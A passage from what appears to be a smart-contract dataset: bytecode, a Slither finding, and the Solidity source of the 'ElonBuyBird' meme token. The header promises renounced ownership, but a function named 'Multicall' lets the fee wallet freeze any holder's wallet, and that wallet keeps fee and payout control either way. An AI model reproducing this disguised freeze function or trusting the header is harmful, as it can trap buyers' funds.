160002054611a649092919063ffffffff16565b6115b7565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610be43384610bdf85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2490919063ffffffff16565b6115b7565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122466021913960400191505060405180910390fd5b610cdf81604051806060016040528060228152602001612193602291396000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a649092919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3681600254611b4090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000610db16000611b8a565b905090565b60155481565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e9e5780601f10610e7357610100808354040283529160200191610e9e565b820191906000526020600020905b815481529060010190602001808311610e8157829003601f168201915b5050505050905090565b6000610f5d3384610f58856040518060600160405280602581526020016122b060259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a649092919063ffffffff16565b6115b7565b6001905092915050565b600080600080610fa462989680610f966013546298968001610f8834611b8a565b6114e790919063ffffffff16565b61156d90919063ffffffff16565b9050610fd081610fc264e8d4a51000346114e790919063ffffffff16565b61156d90919063ffffffff16565b935034925060009150600f5484111561101f576000600f548503905061101664e8d4a5100061100883856114e790919063ffffffff16565b61156d90919063ffffffff16565b9250600f549450505b836000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561107157611070601054611c16565b5b836000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561117d5760008060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548503905061113861112964e8d4a5100061111b84866114e790919063ffffffff16565b61156d90919063ffffffff16565b84611b2490919063ffffffff16565b92506000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450505b61119284601554611b2490919063ffffffff16565b6015819055506010546015541115611228576111bb601054601554611b4090919063ffffffff16565b60158190555060146000815480929190600101919050555060125460135410156112275761120a6127106111fc6011546013546114e790919063ffffffff16565b61156d90919063ffffffff16565b6013819055506012546013541115611226576012546013819055505b5b5b600082111561128e573373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611277573d6000803e3d6000fd5b5061128b8284611b4090919063ffffffff16565b92505b6000841115611301576112a23033866117ae565b3373ffffffffffffffffffffffffffffffffffffffff167fbeae048c6d270d9469f86cf6e8fedda3c60ad770f16c24c9fc131c8e9a09101d85858460405180848152602001838152602001828152602001935050505060405180910390a25b50909192565b60006113143384846117ae565b6001905092915050565b60008084905061132e8585610951565b15611451578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113e05780820151818401526020810190506113c5565b50505050905090810190601f16801561140d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561142f57600080fd5b505af1158015611443573d6000803e3d6000fd5b505050506001915050611453565b505b9392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b6000808314156114fa5760009050611567565b600082840290508284828161150b57fe5b0414611562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121fd6021913960400191505060405180910390fd5b809150505b92915050565b60006115af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a9565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061228c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806121b56022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122676025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121706023913960400191505060405180910390fd5b611925816040518060600160405280602681526020016121d7602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a649092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ad6578082015181840152602081019050611abb565b50505050905090810190601f168015611b035780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b3657fe5b8091505092915050565b6000611b8283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a64565b905092915050565b600080611bb764e8d4a51000611ba98547611b4090919063ffffffff16565b6114e790919063ffffffff16565b9050611c0e6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600254038261156d90919063ffffffff16565b915050919050565b6320e45c8060075442031115611ced576301e13380600b5442031180611c495750600e60009054906101000a900460ff16155b15611ce857600e60009054906101000a900460ff16611cad576002546006541115611c8857611c85600254600654611b4090919063ffffffff16565b90505b600654600c819055506001600e60006101000a81548160ff0219169083151502179055505b611cda6064611ccc600854606401600c546114e790919063ffffffff16565b61156d90919063ffffffff16565b600c8190555042600b819055505b611d52565b62278d00600b5442031115611d5157611d266064611d18600954600d546114e790919063ffffffff16565b61156d90919063ffffffff16565b600d81905550611d43600d54600c54611b2490919063ffffffff16565b600c8190555042600b819055505b5b611d78611d6960648361156d90919063ffffffff16565b82611b2490919063ffffffff16565b9050600c54611d9282600254611b2490919063ffffffff16565b1115611db257611daf600254600c54611b4090919063ffffffff16565b90505b6000811415611dc0576120a6565b611e46611dd760658361156d90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2490919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f21611ed46065611ec66064856114e790919063ffffffff16565b61156d90919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2490919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7881600254611b2490919063ffffffff16565b6002819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611fe260658561156d90919063ffffffff16565b6040518082815260200191505060405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61209060656120826064876114e790919063ffffffff16565b61156d90919063ffffffff16565b6040518082815260200191505060405180910390a35b50565b60008083118290612155576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561211a5780820151818401526020810190506120ff565b50505050905090810190601f1680156121475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161216157fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122069b49ebf54d694fa33d85bb992c46a0fe92628eeb703827957b048833d83948e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,394 |
0xd4fc6b08ad4694053036e43628640e41c70ace9a | // SPDX-License-Identifier: MIT
/*
Elon Tweet : https://twitter.com/elonmusk/status/1514564966564651008?s=20&t=1nJyGK5aV7B_eJPnezQgeQ
LP will be locked & ownership renounced.
Tax fee : 5% LP Buy & Sell
Marketing / Dev : 0%
Community Driven Project
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonBuyBird is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"ElonBuyBird"; ////
string public constant symbol = unicode"EBB"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a0578063db92dbb6146105b5578063dcb0e0ad146105ca578063dd62ed3e146105ea578063e8078d941461063057600080fd5b806395d89b4114610526578063a9059cbb14610555578063b2131f7d14610575578063c3c8cd801461058b57600080fd5b8063715018a6116100dc578063715018a6146104b35780637a49cddb146104c85780638da5cb5b146104e857806394b8d8f21461050657600080fd5b80635090161714610448578063590f897e146104685780636fc3eaec1461047e57806370a082311461049357600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a157806340b9a54b146103da57806345596e2e146103f057806349bd5a5e1461041057600080fd5b806327f3a72a1461032f578063313ce5671461034457806331c2d8471461036b57806332d873d81461038b57600080fd5b80630b78f9c0116101c15780630b78f9c0146102bd57806318160ddd146102dd5780631940d020146102f957806323b872dd1461030f57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026b578063095ea7b31461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025e6040518060400160405280600b81526020016a115b1bdb909d5e509a5c9960aa1b81525081565b60405161021e9190611bca565b34801561027757600080fd5b5061028b610286366004611c44565b610645565b005b34801561029957600080fd5b506102ad6102a8366004611c61565b6106ba565b604051901515815260200161021e565b3480156102c957600080fd5b5061028b6102d8366004611c8d565b6106d0565b3480156102e957600080fd5b50683635c9adc5dea00000610214565b34801561030557600080fd5b50610214600f5481565b34801561031b57600080fd5b506102ad61032a366004611caf565b610753565b34801561033b57600080fd5b5061021461083b565b34801561035057600080fd5b50610359600981565b60405160ff909116815260200161021e565b34801561037757600080fd5b5061028b610386366004611d06565b61084b565b34801561039757600080fd5b5061021460105481565b3480156103ad57600080fd5b506102ad6103bc366004611c44565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e657600080fd5b50610214600b5481565b3480156103fc57600080fd5b5061028b61040b366004611dcb565b6108d7565b34801561041c57600080fd5b50600a54610430906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045457600080fd5b5061028b610463366004611c44565b61099b565b34801561047457600080fd5b50610214600c5481565b34801561048a57600080fd5b5061028b610a09565b34801561049f57600080fd5b506102146104ae366004611c44565b610a36565b3480156104bf57600080fd5b5061028b610a51565b3480156104d457600080fd5b5061028b6104e3366004611d06565b610ac5565b3480156104f457600080fd5b506000546001600160a01b0316610430565b34801561051257600080fd5b506011546102ad9062010000900460ff1681565b34801561053257600080fd5b5061025e6040518060400160405280600381526020016222a12160e91b81525081565b34801561056157600080fd5b506102ad610570366004611c61565b610bd4565b34801561058157600080fd5b50610214600d5481565b34801561059757600080fd5b5061028b610be1565b3480156105ac57600080fd5b5061028b610c17565b3480156105c157600080fd5b50610214610cbb565b3480156105d657600080fd5b5061028b6105e5366004611df2565b610cd3565b3480156105f657600080fd5b50610214610605366004611e0f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063c57600080fd5b5061028b610d50565b6008546001600160a01b0316336001600160a01b03161461066557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c7338484611097565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f057600080fd5b600a8211156106fe57600080fd5b600a81111561070c57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078157506001600160a01b03831660009081526004602052604090205460ff16155b801561079a5750600a546001600160a01b038581169116145b156107e9576001600160a01b03831632146107e95760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f48484846111bb565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610823908490611e5e565b9050610830853383611097565b506001949350505050565b600061084630610a36565b905090565b6008546001600160a01b0316336001600160a01b03161461086b57600080fd5b60005b81518110156108d35760006006600084848151811061088f5761088f611e75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cb81611e8b565b91505061086e565b5050565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016107e090611ea4565b6008546001600160a01b0316336001600160a01b03161461092157600080fd5b600081116109665760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e0565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106af565b6009546001600160a01b0316336001600160a01b0316146109bb57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106af565b6008546001600160a01b0316336001600160a01b031614610a2957600080fd5b47610a3381611829565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016107e090611ea4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae557600080fd5b60005b81518110156108d357600a5482516001600160a01b0390911690839083908110610b1457610b14611e75565b60200260200101516001600160a01b031614158015610b65575060075482516001600160a01b0390911690839083908110610b5157610b51611e75565b60200260200101516001600160a01b031614155b15610bc257600160066000848481518110610b8257610b82611e75565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bcc81611e8b565b915050610ae8565b60006106c73384846111bb565b6008546001600160a01b0316336001600160a01b031614610c0157600080fd5b6000610c0c30610a36565b9050610a33816118ae565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016107e090611ea4565b60115460ff1615610c8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a54600090610846906001600160a01b0316610a36565b6000546001600160a01b03163314610cfd5760405162461bcd60e51b81526004016107e090611ea4565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106af565b6000546001600160a01b03163314610d7a5760405162461bcd60e51b81526004016107e090611ea4565b60115460ff1615610dc75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e043082683635c9adc5dea00000611097565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e669190611ed9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed79190611ed9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f489190611ed9565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7881610a36565b600080610f8d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101a9190611ef6565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d39190611f24565b6001600160a01b0383166110f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e0565b6001600160a01b03821661115a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661121f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e0565b6001600160a01b0382166112815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e0565b600081116112e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e0565b6001600160a01b